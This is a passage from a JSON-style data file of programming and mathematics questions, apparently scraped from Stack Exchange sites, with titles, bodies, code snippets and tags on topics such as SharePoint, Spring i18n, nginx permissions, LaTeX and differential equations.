SPContext.Current.ListItem.Attachments on a new item, the attachment wont show up
in the list after saving.\nIf i instead use item.Update() on the new item after
adding the attachment i get an error in Sharepoint, but when i then go back to the
list, the item is there with its attachment.\nIt seems like its trying to create 2
new entries at once when i save (item.Update) which results in the second of those
crashing.\nWhat would be the correct way to add attachments this way?\n\n",
"oSPWeb.AllowUnsafeUpdates = true;\n\n// Get the List item\nSPListItem listItem =
SPContext.Current.ListItem;\n\n// Get the Attachment collection\
nSPAttachmentCollection attachmentCollection = listItem.Attachments;\n\nStream
attachmentStream;\nByte[] attachmentContent;\n\n// Get the file from the file
upload control\nif (fileUpload.HasFile)\n{\n attachmentStream =
fileUpload.PostedFile.InputStream;\n\n attachmentContent = new
Byte[attachmentStream.Length];\n\n attachmentStream.Read(attachmentContent, 0,
(int)attachmentStream.Length);\n\n attachmentStream.Close();\n
attachmentStream.Dispose();\n\n // Add the file to the attachment collection\n
attachmentCollection.Add(fileUpload.FileName, attachmentContent);\n}\n\n// Update
th list item\nlistItem.Update();\n", "sharepoint attachments"], "2206107": ["CXF-
Java2Ws: Customize Type Mapping", "I have a Web-Service-Projekt where I need some
special typemappings. Using CXF and Aegis-Binding I created mapping-classes
implementing AegisType and registered them programatically in the Aegis Context.
This works fine if I'm using the autogenerated WSDL (running the Webservice in
Tomcat and appending ?wsdl to the url).\nBut now I need to generate the WSDL and
necessary XSD-Schemas with java2ws so I can modify them. But the custom
typemappings are not recognized then.\nThe Apache-Documentation at
https://cxf.apache.org/docs/java-to-ws.html shows a parameter -beans to \"Specify
the pathname of a file defining additional Spring beans to customize databinding
configuration.\"\nBut: Although I'm quite familiar with Spring I can't find a
reference how the beans are to be specified in the config file. Are there special
interfaces they must implement or something else? I tried defining beans basing on
my AegisType-Classes but they are ignored.\nHow can I customize type-mappings for
java2ws-generated WSDLs?\n", "", "web-services cxf aegis"], "5084410": ["Language
selection in the combo", "I configured my servlet to support internationalization,
just as I showed below:\n\nOn the JSP page, I added the choice of language in such
a way:\n\nHow do I replace the above code component of a select (combo)?\n(pseudo
code)\n\nPlease help\nEDIT\nI do not want anything to set as the default. He wants
to be chosen this option, he chose you. You will see an example:\nThe first step\
nlocalhost: 8080/newUser\n->\nIn controller\n\nMy JSP forms\n...\n\n...\n\nThe
second step\n- End-user selects from the combo options \"languageName.en. Followed
by reloading the page\n(localhost: 8080/newUser? lang = en) to change the language
to EN but the combo is still selected as the first item. I would like to chose was
the one you selected in step 2 So, I would save the state.\nADDED\n\nHow to keep
the option without a model?\n", "<bean id=\"messageSource\"\n
class=\"org.springframework.context.support.ReloadableResourceBundleMessageSource\"
>\n <property name=\"basename\" value=\"classpath:messages\" />\n <property
name=\"defaultEncoding\" value=\"UTF-8\"/>\n</bean>\n\n<bean
id=\"localeChangeInterceptor\"\n
class=\"org.springframework.web.servlet.i18n.LocaleChangeInterceptor\">\n
<property name=\"paramName\" value=\"lang\" />\n</bean>\n\n<bean
id=\"localeResolver\"\n
class=\"org.springframework.web.servlet.i18n.CookieLocaleResolver\">\n <property
name=\"defaultLocale\" value=\"en\"/>\n</bean>\n\n<bean id=\"handlerMapping\"\n
class=\"org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapp
ing\">\n <property name=\"interceptors\">\n <ref
bean=\"localeChangeInterceptor\" />\n </property>\n</bean>\n", "java spring
jsp"], "2228182": ["two keys are same hashMap over write\" the existing one?", "How
exactly hash map store data internally ... I knew it will calculate HashCode value
of key and store it.If two key having same hash code it will put into same bucket.
But why if \"two keys are same hashMap over write\" the existing one?\n", "", "java
collections hashmap"], "4818310": ["Is there a way to fix the following errors?",
"I am trying to compile a .tex file using pdflatex and I get the following two
kinds of errors:\n\nIt works smoothly with pdflatex on my mac.\nAnother error that
I get on this linux box (again using pdflatex) is:\n\nThese errors appear quite
frequently, they are all over the document. Is it possible to fix them?\n",
"Package natbib Warning: Citation `give-citation' on page 14 undefined on input
line 41.\n\n! Undefined control sequence.\n<argument> ...e \\NAT@cmt \\fi \\if \\
relax \\NAT@date \\relax \\else \\NAT@@close \\...\n l.46 ... information is
available \\cite{}\n", "errors"], "2824421": ["Van der Pol method in a quasilinear
equation with multiple fixed points within a cycle.", "My question is about details
of application of the van der Pol - Andronov method to analysis of quasilinear
ordinary differential equations. Before formulating the question, let me first give
necessary explanations to avoid any misunderstanding. \n Quasilinear ordinary
differential equation is the one having the form : \n$$z''(t) + z(t) =
f(z(t),z'(t)) \\qquad \\qquad (1)$$\nwhere $t$ is the time, $z=z(t)$ is the unknown
variable, and $f(z,z')$ is a nonlinear function, which is small for whatever
reason. In this case in order to analyze the phase portrait of such an equation one
can apply the so - called, van der Pol - Andronov method. In short, this method
averages the equation (1) over a phase variable, which enables one to establish a
relation between details of the phase portrait of the equation (1) (such as a node,
or a focus in the coordinates origin, and limit cycles, if any) to the number and
positions of fixed points of a simpler equation:\n$$ r'=F(r) \\qquad \\qquad (2)$$\
nwhere $r=r(t)$ is a new \"radial\" variable, and the nonlinear function $F=F(r)$
is obtained from the function $f(z, z')$ by the mentioned averaging. Equation (2)
may only have one type of attractors (if any), that are the fixed points. According
to the way of mapping of (2) onto (1) the fixed point at $r=0$ of Eq. (2) is
interpreted as a focus or a node of the
initial equation (1), while its nonzero fixed point - as a limit cycle of equation
(1). The method is known over a century, described in textbooks, as for example,
Andronov,A.A.,Vitt,A.A.& Khaikin,S.E.Theory of Oscillators, Dover Publications,
1987 and it is well grounded.\nIt is quite clear, however, if (1) has only a single
focus or a single node located within one or more cycles, or only a focus or node
with no cycles at all, or no attractors at all. \nAssume now that a quasilinear
equation (1) has a solution with several fixed points in the vicinity of the
coordinate origin, which are enclosed within one or few cycles. It seems clear that
Eq. (2) is unable to resolve several fixed points. Am I wrong with this statement?\
nMy question is as follows. Is the van der Pol-Andronov approach still applicable
to such a situation? May it be that it is applicable partially, say, only for
detection of the cycles, though it cannot \"resolve\" the fixed points? Could you
kindly point out any textbook or any other literature treating any example of such
a situation?\n", "", "differential-equations"], "3921817": ["How to make expander
not to extend toolbar width?", "I have a expander in a tool bar. When I expand the
expander to toolbar increases its width so it can contain the expanded expander. I
would like the tool bar to stay the same and expander to expand bellow tool bar, so
the toolbar doesn't become so wide? Does anyone know how to fix this?\n", "", "wpf
size width toolbar expander"], "5566687": ["How to allow scroll directions across
different manager field?", "Let me give an example. This code works within a
manager:\n\nNow my screen adds the 3 different managers like this.\n\nall also but
when i go down, it is going left instead of going to the bottom.\n", "protected
boolean navigationMovement(int dx, int dy, int status, int time) {\n int
focusIndex = getFieldWithFocusIndex();\n\n while (dy > 0) {\n if
(focusIndex + columnwidth.length >= getFieldCount()) {\n return
false;\n } else {\n Field f = getField(focusIndex +
columnwidth.length);\n if (f.isFocusable()) {\n
f.setFocus();\n dy--;\n }\n }\n
}\n\n while (dy < 0) {\n if (focusIndex - columnwidth.length < 0)
{\n return false;\n } else {\n Field f =
getField(focusIndex - columnwidth.length);\n if (f.isFocusable()) {\
n f.setFocus();\n dy++;\n }\n
}\n }\n\n while (dx > 0) {\n focusIndex++;\n if
(focusIndex >= getFieldCount()) {\n return false;\n }
else {\n Field f = getField(focusIndex);\n if
(f.isFocusable()) {\n f.setFocus();\n dx--;\n
}\n }\n }\n\n while (dx < 0) {\n focusIndex--;\
n if (focusIndex < 0) {\n return false;\n }
else {\n Field f = getField(focusIndex);\n if
(f.isFocusable()) {\n f.setFocus();\n dx++;\n
}\n }\n }\n return true;\n}\n", "blackberry field"],
"4874564": ["Flex 3 color picker no color value", "I need \"no color\" value in
flex 3/4 color picker component. Here are some options I've investigated:\n1)
External componet. Searched a lot but didn't managed to find a suitable one. There
is a great color picker that meets my needs completely, but it is in action script
2 format. I need as3.\n2) Enhance the existing built-in color picker component.\nSo
here I need your help. Do you have any ideas how the built-in color picker
component can be enhanced in order to support \"no color\" value?\n", "", "flex
actionscript-3 adobe"], "5061770": ["How can i delete tableview row from detail
view", "I have used storyboard in my application in my detail view for i passed
tableview to detail view to be able to delete this row depend on something action
but give me below error \n\n", "UITableView", "iphone ios uitableview
uitableviewcontroller uitableviewdatasource"], "5071265": ["How we Create Custom
Decorator that can apply on file field and radio button selection", "if We apply
any custom decorator on radio button then it will be display on next line so how \
nwe create such custom decorator that will display inline also same for file\n",
"", "decorator"], "4372727": ["Disable Geshi Syntax Highlighting fo a Book Page",
"The drupal based site that I use to write blog posts on has syntax highlighting
using Geshi. It works great, but it takes over the html tag. Now I am trying to
create posts using ipython notebook (nbconvert) and tags are used with css styling
to format the pages. This causes a conflict between geshi trying to format the text
already formatted by ipython notebook.\nHow can I turn off geshi syntax
highlighting for a single Book Page or Story in drupal?\n", "", "drupal drupal-7
geshi"], "2724696": ["Looking to understand the rationale for money denomination",
"Money is typically denominated in a way that allows for a greedy algorithm when
computing a given amount $s$ as a sum of denominations $d_i$ of coins or bills:\n$
$\ns = \\sum_{i=1}^k n_i d_i\\quad\\text{with } n_i > 0, d_i > d_{i-1}\n$$\nWe
start with the highest denomination $d$ not exceeding $s$ and subtract it. We
repeat this process until $s$ is completely represented. As long as all
denominations are available, this simple algorithm guarantees the minimum number of
coins or bills used. (This is a little sketchy but I guess we are all familiar with
it and it's not central to my question.)\nMy question is: what property of $d_i$
makes this work? I once heard that the value of any coin must be bigger than the
sum of all coins of lower denomination for the greedy algorithm to work. This holds
for the typical denomination:\n$$\n1,2,5,10,20,50,100\n$$\nHowever, I wasn't able
to come up with a counter example or even a proof. Surely this problem has been
studied and I would be glad to know more about it. In fact, I'm not even sure about
the right tags -- feel free to edit them. I assume the algorithm to find the sum
with the minimum number of coins becomes tricky when we no longer can assume that
all denominations are available.\n", "", "combinatorics reference-request
elementary-number-theory algorithms optimization"], "5971953": ["jQuery slider to
make image with video scroll", "I have a reference link. Now I want to make exactly
like this and there will be another menu called as video. When a user will click on
the video link then the videos will scroll like the images in the reference site.
When user will click on the video it will start playing. So is there any jQuery
plug-in to make something like this. Any reference link or suggestions about this
will be really appreciable.\n", "", "jquery jquery-ui jquery-plugins slider
slideshow"], "1126088": ["403 Forbidden error on Mac OSX - Apache and nginx",
"There are a million questions like this on Google, but I haven't found a solution
to my problem. The default Apache install on my Mac is giving 403 Forbidden errors
for everything (default directory, user home directory, virtual server, etc).
After sifting through the config files, I figured I'd give nginx a try.\nNginx
serves files fine from it's home directory, but it won't serve files from a
subfolder of my user directory. I've configured a simple virtual host, and
requesting index.html returns a 403-forbidden.\nThe error message in nginx's log
file is pretty clear - it can't read the file:\n\nI've opened up this directory to
everyone:\n\nAnd all the files in it:\n\nAnd yet, I cannot figure out why the nginx
process cannot read index.html. It's running as the \"nobody\" user, but the
permissions are set such that anyone can read them. \n", "2011/01/04 16:13:54
[error] 96440#0: *11 open() \"/Users/me/Documents/workspace/mobile/index.html\"
failed (13: Permission denied), client: 127.0.0.1, server: local.test.com, request:
\"GET /index.html HTTP/1.1\", host: \"local.test.com\"\n", "macosx nginx file-
permissions directory-permissions"], "4995568": ["How to print Google Visualization
API Line chart in Razor/MVC3 using javascript?", "I could able to display the chart
using google api, but unable to print using javascript. The chart I am printing is
using the tags with id=\"chart_div\". Please help.\n", "", "javascript asp.net-
mvc-3 charts google-charts-api"], "2741413": ["android xmlparsing with pagination",
"Hi i wrote one xml parsing example.here i have to get the data information from
mysql database and display it in android emulator successfully.\nHere i wish to
include pagination concepts.How is add pagination in below my code:\n\nHere How is
add pagination in this xml parse example.i have more than 200 products on this
link:http://192.168.1.168/pro/orderdetails.xml.but i wish to have one page for 10
products only.how is to do.please help me.\n", " public class CustomizedListView
extends Activity {\n// All static variables\nstatic final String URL =
\"http://192.168.1.168/pro/orderdetails.xml\";\n// XML node keys\nstatic final
String KEY_SONG = \"Order\"; // parent node\nstatic final String KEY_ID
= \"orderid\";\nstatic final String KEY_TITLE = \"orderid\";\nstatic final String
KEY_DATE = \"date\";\nstatic final String KEY_ARTIST = \"payment_method\";\nstatic
final String KEY_DURATION = \"total\";\nstatic final String KEY_NAME = \"login\";\
nstatic final String KEY_PNAME = \"product\";\n\nListView list;\n LazyAdapter
adapter;\n\n@Override\npublic void onCreate(Bundle savedInstanceState) {\n
super.onCreate(savedInstanceState);\n setContentView(R.layout.list);\n
TextView tv = (TextView) findViewById(R.id.textView1);\n
if(getIntent().getExtras() != null) {\n tv.setText(\"Welcome ,\" +
getIntent().getExtras().getString(\"login\"));\n }\n\n
ArrayList<HashMap<String, String>> songsList = new ArrayList<HashMap<String,
String>>();\n\n XMLParser parser = new XMLParser();\n String xml =
parser.getXmlFromUrl(URL); // getting XML from URL\n Document doc =
parser.getDomElement(xml); // getting DOM element\n\n NodeList nl =
doc.getElementsByTagName(KEY_SONG);\n // looping through all song nodes <song>\n
for (int i = 0; i < nl.getLength(); i++) {\n // creating new HashMap\n
HashMap<String, String> map = new HashMap<String, String>();\n Element e =
(Element) nl.item(i);\n // adding each child node to HashMap key => value\n
map.put(KEY_ID, parser.getValue(e, KEY_ID));\n map.put(KEY_TITLE,
parser.getValue(e, KEY_TITLE));\n map.put(KEY_ARTIST, parser.getValue(e,
KEY_ARTIST));\n map.put(KEY_DURATION, parser.getValue(e, KEY_DURATION));\n
map.put(KEY_DATE, parser.getValue(e, KEY_DATE));\n map.put(KEY_NAME,
parser.getValue(e, KEY_NAME));\n map.put(KEY_PNAME, parser.getValue(e,
KEY_PNAME));\n // adding HashList to ArrayList\n songsList.add(map);\
n }\n\n\n list=(ListView)findViewById(R.id.list);\n\n // Getting adapter
by passing xml data ArrayList\n adapter=new LazyAdapter(this, songsList);
\n list.setAdapter(adapter);\n\n\n // Click event for single list row\n
list.setOnItemClickListener(new OnItemClickListener() {\n\n @Override\n
public void onItemClick(AdapterView<?> parent, View view,\n int
position, long id) {\n String Orderid= ((TextView)
view.findViewById(R.id.orderid)).getText().toString();\n String Price =
((TextView) view.findViewById(R.id.duration)).getText().toString();\n
String Pname = ((TextView) view.findViewById(R.id.pname)).getText().toString();\n
String Description = ((TextView)
view.findViewById(R.id.artist)).getText().toString();\n String login =
((TextView) view.findViewById(R.id.login)).getText().toString();\n //
Starting new intent\n Intent in = new Intent(getApplicationContext(),
SingleMenuItemActivity.class);\n\n in.putExtra(KEY_PNAME, Pname);\n
in.putExtra(KEY_NAME, login);\n in.putExtra(KEY_ARTIST, Description);\n
startActivity(in); \n\n }\n }); \n } \n
}\n", "android xml-parsing pagination scrollview"], "5102354": ["Combine PHP
prepared statments with LIKE", "Anyone know how to combine PHP prepared statements
with LIKE? i.e. \n\n", "\"SELECT * FROM table WHERE name LIKE %?%\";", "php like"],
"5615222": ["Block all content on a web page for people using an Adblock-type
browser add-on/extension?", "I wish to block ALL my content from any users using an
ad-blocking browser extension (ie. Adblock Plus for Firefox, Adthwart for Chrome).\
nHow can I acheive this? Is there a server-side solution? Client-side?\n\nEdit 1\
nThis question regards the detection of ad-blocking browser
extensions:\nhttp://stackoverflow.com/questions/1185067/detecting-adblocking-
software\nI'm concerned with post-detection action.\n\nEdit 2\nA duplicate question
was asked after mine, so I thought I'd link to it
here:\nhttp://stackoverflow.com/questions/2002403/prevent-adblock-users-from-
accessing-website\n", "", "browser firefox-addon block adblock"], "666012": ["How
validation field with ajax on event onblur, if manged bean is not updated", "By
losing the focus of the field (id=\"nome\") method
(listener=\"#{loginMb.criticaCamposTela}\") is executed, but the attribute value
(value=\"#{loginMb.usuario.nome}\") is not updated in maneged bean, the value is
null.\nIt should not be with the entered value to the validation? Why is null?\
nFollow the code, thanks.\nPage:\n\nManagedBean LoginMb:\n\nweb.xml:\n\n",
"<h:outputText value=\"Nome:\" />\n<p:inputText id=\"nome\"
value=\"#{loginMb.usuario.nome}\"\n required=\"true\" size=\"20\"
requiredMessage=\"Informa\u00e7\u00e3o do nome \u00e9 obrigat\u00f3rio.\">\n<p:ajax
event=\"blur\" update=\"idMsgNome, nome\" partialSubmit=\"treu\" process=\"@this\"
\n immediate=\"true\"
listener=\"#{loginMb.criticaCamposTela}\"></p:ajax>\n</p:inputText>\n<h:outputText
id=\"idMsgNome\" value=\"#{loginMb.criticaNome.value}\" />\n", "ajax jsf-2
primefaces"], "5071262": ["how to schedule a task at specific time?", "i have one
problem with java scheduler,my actual need is i have to start my process at
particular time, and i will stop at certain time ,i can start my process at
specific time but i can't stop my process at certain time ,how to specify the
process how long to run in scheduler,(here i will not put while ) any one have
suggestion for that.\n\n", "import java.util.Timer;\nimport java.util.TimerTask;\
nimport java.text.SimpleDateFormat;\nimport java.util.*;\npublic class Timer\n{\n
public static void main(String[] args) throws Exception\n {\n\n
Date timeToRun = new Date(System.currentTimeMillis());\n
System.out.println(timeToRun);\n Timer timer1 = new Timer();\n
timer1.schedule(new TimerTask() \n { \n
public void run() \n {\n\n
//here i call another method\n }\n\n } },
timeToRun);//her i specify my start time\n\n\n }\n}\n", "java timer
scheduled-tasks scheduling"], "4863625": ["What is The use of moveToFirst () in
SQLite Cursors", "I am a programming newbie\nand I found this piece of code in the
internet and it works fine\n\nbut I am not able to understand the use of the part
, what does it do exactly , and if I remove the part , the code doesn't work \
nThanks In Advance\n", "Cursor c=db.query(DataBase.TB_NAME, new String[]
{DataBase.KEY_ROWID,DataBase.KEY_RATE}, DataBase.KEY_ROWID+\"= 1\", null, null,
null, null);\n if(c!=null)\n {\n c.moveToFirst();\n
}\n", "android sqlite cursor"], "2128295": ["Is it possible to define a zero-set of
$X$ to be the zero-set of some $f\\in C^{*}(X)$?", "It is possible to define a
cozero-set of $X$ to be the cozero-set of some $f\\in C^{*}(X)$, in fact;\nEvery
cozero-set in $X$ is the cozero-set of a function taking \nvalues in $[0, 1]$. \
n$proof$: Given $f:X\\longrightarrow \\mathbb{R}$, consider the function $x\\
longmapsto min \\{{|f(x)|, 1}\\}$. \nThis is continuous if $f$ is, takes values in
$[0, 1]$, and has the same cozero- \nset as $f$.\nIs it possible to define a zero-
set of $X$ to be the zero-set of some $f\\in C^{*}(X)$ ? Can this problem be
solved with this function $x\\longmapsto min \\{{|f(x)|, 1}\\}$ ?\n", "", "general-
topology analysis continued-fractions"], "2724695": ["How to create general media
player in Silverlight app?", "I want to a media player can play image, audio video
based on the source from url in SL app.\nHow to implement it in SL?\n", "",
"silverlight silverlight-4.0 silverlight-5.0"], "5979966": ["Generating Fixtures
from a list of n", "Suppose I have N teams and what to generate a fixture list,
where every team plays every other team, what is the best practice for this. Is
there a known algorithm that does this nicely? Efficiency isn't really a necessity
as this only needs to be generated once a season.\nTo be more specific, I'll start
with some definitions:\nI have N teams... T_1, T_2, ... , T_n. If N is odd, include
a 'ghost' team to make the amount of teams even.\nA set of fixtures for a week is a
set of N/2 pairs, with no team in more than one pair.\nA 'fixture list' is set of
sets of fixtures such that every team is paired with every other team.\nWhat I am
trying to do is create a 'fixture list' with some kind of random element to it.\
nThanks\n", "", "language-agnostic theory permutation"], "4727339": ["Application
hang when using time.sleep() in loop", "i'm working on a school project regarding
making a customized media player. I've got some source code on the web which i have
been using. I wanted to add in another new feature which is to make a playlist
which the source code does not have.\nHowever i encounter an error whereby the
window \"stop responding\" when i try to drag the window around. I wasn't able to
click on anything as it seem like there is some background tread running because my
cursor show the \"loading sign\" (Circular cursor).\nI have tried leaving it
running without dragging it and it seems to work properly.\nDo anyone of you
happens to know why is this problem occuring when i uses the
function \"time.sleep(second)\"?\nReference:
http://www.blog.pythonlibrary.org/2010/07/24/wxpython-creating-a-simple-media-
player/\nLogic (code):\n\n", "def load_playlist(self, event):\n playlist =
[\"D:\\Videos\\test1.mp4\", \"D:\\Videos\\test2.avi\"]\n for path in playlist:\n
#calculate each media file duration\n ffmpeg_command = ['C:\\\\MPlayer-rtm-
svn-31170\\\\ffmpeg.exe', '-i' , path]\n\n pipe =
subprocess.Popen(ffmpeg_command, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT)\n results = pipe.communicate()\n\n #Regular
expression to get the duration\n length_regexp = 'Duration: (\\d{2}):(\\
d{2}):(\\d{2})\\.\\d+,'\n re_length = re.compile(length_regexp)\n\n #
find the matches using the regexp that to compare with the buffer/string\n
matches = re_length.search(str(results))\n #print matches\n\n hour =
matches.group(1)\n minute = matches.group(2)\n second =
matches.group(3)\n\n #Converting to second\n hour_to_second =
int(hour) * 60 * 60\n minute_to_second
= int(minute) * 60\n second_to_second = int(second)\n\n num_second =
hour_to_second + minute_to_second + second_to_second\n print num_second\n\n
#Play the media file\n trackPath = '\"%s\"' % path.replace(\"\\\\\", \"/\")\
n self.mplayer.Loadfile(trackPath)\n\n #Sleep for the duration of
second(s) for the video before jumping to another video\n
time.sleep(num_second)\n", "python wxpython mediaplayer playlist mplayer"],
"2748453": ["Function import with EF and Oracle", "When trying to import a stored
procedure from Oracle 10g into Entity Framework 4, I get the following error:\n\
nORA-12154: TNS:could not resolve the connect identifier specified\n\nHere are some
details:\n\nThe stored procedure executes successfully if I run it directly from
the database.\nThe stored procedure is set up to return 0 records if all s are
passed in (but it still contains column information).\nMy TNS Names files is set up
correctly, I can connect via other tools such as LINQpad or PL/SQL with my TNS
identifier to this database, so my TNS Names file is not the problem.\n\nIf it
matters, the project that this EF model is associated with is Silverlight 5.\n\n",
"null", "oracle entity-framework silverlight stored-procedures"], "2724404": ["Get
Id from a textview inside a Listview", "My problem is pretty simple but I can't
seem to solve it:\nI need to get the ID of a textview inside a listview. I need
this because I have a treemap of objects, and the way I'm designing my app I need
to have an id for each object.. so the id needs to be the same as the id in the
listview. Imagine this scenario:\nI click in an item in the listview, and that item
represents an object that is stored in the treemap. The only way I can know which
object was clicked is if I get the id from the clicked item and then search it down
in the treemap.\nThe problem is if I do:\n\nI get the index of the item (it will be
equal to 'pos'), and not a real ID. Say its the 3rd element, it will return 3 (if I
delete the 2nd element, the if of the old 3rd will now be 2, so I can't trust this
numbers in my implementation). \nIs there any simple way to solve this? Can I get
the real Id of the item I click or create?\nBest regards\n",
"_mylistview.getItemIdAtPosition(pos);\n", "android listview android-
arrayadapter"], "623668": ["How to read raw contents of a file in flash as2", "I'm
working on a project and i need to read raw contents of the current playing swf
file.\nI tried LoadVars but it has problems when reaching a byte with value of 0
and stops reading the file.\nIs there any way to read raw contents of a file in
flash as2 ? \nlike this: \nFileBytes = ReadFileRaw( \"movie.swf\" )\
nFileBytes.getByte(19) // for example!\n", "", "flash data binary actionscript-2"],
"2724694": ["View Eclipse Run As configurations from filesystem", "I'm interested
in viewing (not configuring/changing, just viewing) the Maven run configurations
I've created created - and not from Eclipse's dialog/window but via finding them in
the filesystem and viewing them in some ordinary text editor.\nCan they be viewed
this way? In which location are they stored?\nThanks!\n", "", "java eclipse"],
"4802784": ["VAR Display From Javascript Into PHP Display", "I am working on a
script that requires a user to validate their account (from another website, not my
own website). Once the user enters the correct login info, and the login server
responds back to my script, it displays the username as\n\nThis is the part of the
script that defines that value.\n\nI need to put that into a file uploader script
which will allow the user to upload a image as .png, and only their own username,
no one elses. However I already have that script made, I just need to know how to
add that into the script itself. The line which needs to be changed is...\n\nIf I
need to provide any more information please let me know. :D\nMore Codes They May or
May Not Help This Problem\n\n", "\" + usernameUrl + \"\n", "php javascript get"],
"4377537": ["How to Import Excel 2007 file using SSIS - (Only SQL server 2005
installed)", "Hi In my production servers i have only excel 2003 and SQL server
2005 installed I have excel 2007 files to be imported is there a way to do this
installing service pack, new driver etc.?\n", "", ".net sql-server-2005 ssis"],
"612492": ["displaying db2 error codes in SquirrelSQL", "When you run a query in
db2 commandline tool you get explanations like:\n\nHowever, when ran in SQL tab in
SquirrelSQL you get only:\n\nDoes anybody know of a way of making SquirrelSQL
display explanation for the error code like db2 cmd line?\nOS: Win 7 x64, db2 10.1\
n", "db2 => select * from sysibm.systables where owner = 'SAM' and type = 'T';\
nSQL0206N \"OWNER\" is not valid in the context where it is used.\nSQLSTATE=42703\
n", "db2 squirrel-sql"], "104324": ["Concurrent cursors in ListFragments", "I have
a strange problem dealing with cursors in my app.\nI have a Fragment Manager with
two ListFragments. Both of the ListFragments contain a list of items fetched from
my database - but different items, as in different data structures.\nWhen I first
started my app the first visible ListFragment worked fine, but the second one only
had default values. I traced down the problem to this part of my code\n\nI failed
and returned an IllegalStateException\n\nW/System.err(30684):
java.lang.IllegalStateException: Couldn't read row 5, col -1 from CursorWindow.
Make sure the Cursor is initialized correctly before accessing data from it.\
nHowever, when I started debugging the app I could not reproduce the error. It took
me a long time to realize there is a time dependence included. If I make my code
wait (just before I initialize the second (broken) fragment) like this:\n\nIt
actually works.\nI guess is has something to do with the cursor from the first
fragment is being reused in the second one, but they are different classes so I can
not see how this is possible.\nAny suggestions?\nbest\nMarcus\n", " try {\n
sub = Subscription.getByCursor(cursor);\n } catch (IllegalStateException e) {\n
e.printStackTrace();\n }\n", "android concurrency android-fragments
simplecursoradapter"], "980040": ["Bit reversal of an integer, ignoring integer
size and endianness", "Given an integer typedef:\n\nor\n\nI have the following code
to reverse the bits of an integer:\n\nOne just needs first to run
reverse_int_setup(), which stores an integer with the highest bit turned on, then
any call to reverse_int(arg) returns arg with its bits reversed (to be used as a
key to a binary tree, taken from an increasing counter, but that's more or less
irrelevant).\nIs there a platform-agnostic way to have in compile-time the correct
value for max_int after the call to reverse_int_setup(); Otherwise, is there an
algorithm you consider better/leaner than the one I have for reverse_int()?\
nThanks.\n", "typedef unsigned int TYPE;\n", "c integer bit-manipulation"],
"4224048": ["How many hours can you productively program for?", "Just curious. How
many hours can you productively program for? When you are programming a certain
language can you last longer? \n(Feel free to add in something like what your
conditions are like and/or some tips to increase your concentration)\n", "",
"productivity"], "3529679": ["wrong architecture error mysql python", "i use
flask.I installed MySQL using and then tried to run my app.py but got this lines
of error.What is those mean?\n\n", "easy_install mysql-python", "python mysql flask
mysql-python"], "2348239": ["php-soap 5.3.17-2 el6 x86_64", "I just transferred a
website to a server where I appear to lack the PHP-SOAP extension.\nUnfortunately I
cannot upgrade to the 5.4.10 that is available on remi at the moment as I am not
100% sure if the existing codes would still work and not cause any issues.\nAll
websites are built without notices and anything so if any function would trigger a
deprecated notice it would break the code.\nI have been searching for the php-soap-
5.3.17-2.el6.remi.x86_64.rpm package on Google for most of today and still cannot
find it or any other that would be compatible.\nAny help would be appreciated.\n",
"", "linux yum centos6 rpm soap"], "421539": ["Renaming Threads in Java", "I am
working on a project that is slowly getting larger and larger and the number of
active threads used by many different processes is increasing. Lately, I have been
taking a closer look at the running threads in the debugger and I have noticed that
a lot of my third party libraries have given very poor names to their threads -
Timer-0, qtp0, etc. I want other devs unfamiliar with the poorly named threads to
know instantly what is running.\nRather than write patches for the libs we are
using, does anyone know how to rename the running threads? Or if this is even a
good idea? Any suggestions would be appreciated.\n", "", "java multithreading
naming"], "2978544": ["`tee` command equivalent for *input*?", "The unix command
splits the standard input to stdout AND a file. \nWhat I need is something that
works the other way around, merging several inputs to one output - I need to
concatenate the stdout of two (or more) commands.\nNot sure what the semantics of
this app should be - let's suppose each argument is a complete command.\nExample:\
n\nshould generate a file that has contents\n\nI tried \n\nIt doesn't work.\nSide
note: I know I could just append the outputs of each command to the file, but I
want to do this in one go (actually, I want to pipe the merged outputs to another
program).\nAlso, I could roll my own, but I'm lazy whenever I can afford it :-)\nOh
yeah, and it would be nice if it worked in Windows (although I guess any
bash/linux-flavored solution works, via UnxUtils/msys/etc)\n", "tee", "console
stdout stdin"], "642974": ["how to combined multiple Handshake messages to
a record in java?", "used java code to request a https site, do tcpdump and
find \"Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message\" will
be set to two records:\n1. Client Key Exchange\n2. Change Cipher Spec, Encrypted
Handshake Message\nhow to combined these three Handshake messages to a record in
java? \n", "", "ssl"], "4896304": ["Sliding Window for Data Streams", "I wish to
add a sliding window to my data mining approach in order to handle a data stream.\
nDoes anyone have any helpful information with regards to implementing this? maybe
a paper or some advice of your own?\nI am working in c++ however any help would be
appreciated!\nRegards,\nThomas\n", "", "c++ data-mining data-stream sliding-
window"], "2418989": ["Finding velocity vector based on angle and speed", "I am
programming some movement for AI for a game based on angle and speed.Its a 2D
program based on x,y axis. I currently have a position vector as-well as a velocity
vector which accounts for speed and current direction of the AI.Every time I move
the AI I just add the velocity vector to the current position to get my new
position.At the moment the movement is 8-directional.What I wanted to implement was
angle based movement (more realistic type of movement) and wondered if it is
possible to calculate the velocity vector from an angle and speed constant.\nThanks
in advance! \n", "", "java vector simulation movement angle"], "4238688": ["build a
table in latex", "\nThis is my new code but i have a new pb: \n\nWhen I put a
line empty is inserted and I want to eliminate this please \n", "\\begin{table}[!
h]\n\\begin{center}\n\\begin{tabular}{l|p{0.9cm}|p{0.9cm}|p{0.9cm}|p{0.9cm}|
p{0.9cm}|p{0.9cm}|p{0.9cm}|p{0.9cm}|p{0.9cm}|p{0.9cm}|}\n\\cline{2-11}\n&\\
multicolumn{2}{|p{2.5cm}|} {\\bf 100 Pages }& \\multicolumn{2}{|p{2.5cm}|} {\\bf
250 Pages }& \\multicolumn{2}{|p{2.5cm}|} {\\bf 500 Pages }& \\multicolumn{2}{|
p{2.5cm}|} {\\bf 750 Pages }& \\multicolumn{2}{|p{2.5cm}|} {\\bf 1000 Pages }\\\\\
n\\cline{2-11}\n&\\bf R1& \\bf R2& \\bf R3& \\bf R4& \\bf R5& \\bf R6& \\bf R7& \\
bf R8& \\bf R9& \\bf R10\\\\\n\\hline\nNb Pages Publiques &\\bf R1& \\bf R2& \\bf
R3& \\bf R4& \\bf R5& \\bf R6& \\bf R7& \\bf R8& \\bf R9& \\bf R10\\\\\n\\hline\nNb
